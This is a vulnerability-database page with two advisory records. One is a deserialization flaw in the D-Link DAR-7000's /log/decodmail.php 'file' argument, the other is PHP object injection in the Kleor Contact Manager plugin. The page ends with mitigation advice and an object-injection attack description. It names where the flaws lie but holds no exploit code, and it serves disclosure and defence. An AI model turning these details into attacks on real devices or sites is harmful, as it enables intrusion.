Vulnerability from github – Published: 2024-07-05 15:32 – Updated: 2024-07-05 15:32** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DAR-7000 up to 20230922. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /log/decodmail.php. The manipulation of the argument file leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-270368. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2024-6525"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-05T13:15:11Z",
"severity": "MODERATE"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DAR-7000 up to 20230922. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /log/decodmail.php. The manipulation of the argument file leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-270368. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-v6cv-pjf9-9v55",
"modified": "2024-07-05T15:32:06Z",
"published": "2024-07-05T15:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6525"
},
{
"type": "WEB",
"url": "https://github.com/flyyue2001/cve/blob/main/D-LINK%20-DAR-7000_rce_%20decodmail.md"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10354"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.270368"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.270368"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.368099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V6X7-WPP7-G26G
Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-25 00:31Deserialization of Untrusted Data vulnerability in Kleor Contact Manager contact-manager allows Object Injection.This issue affects Contact Manager: from n/a through <= 9.1.1.
{
"affected": [],
"aliases": [
"CVE-2025-68853"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-20T16:22:14Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in Kleor Contact Manager contact-manager allows Object Injection.This issue affects Contact Manager: from n/a through \u003c= 9.1.1.",
"id": "GHSA-v6x7-wpp7-g26g",
"modified": "2026-02-25T00:31:21Z",
"published": "2026-02-20T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68853"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/contact-manager/vulnerability/wordpress-contact-manager-plugin-9-0-1-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.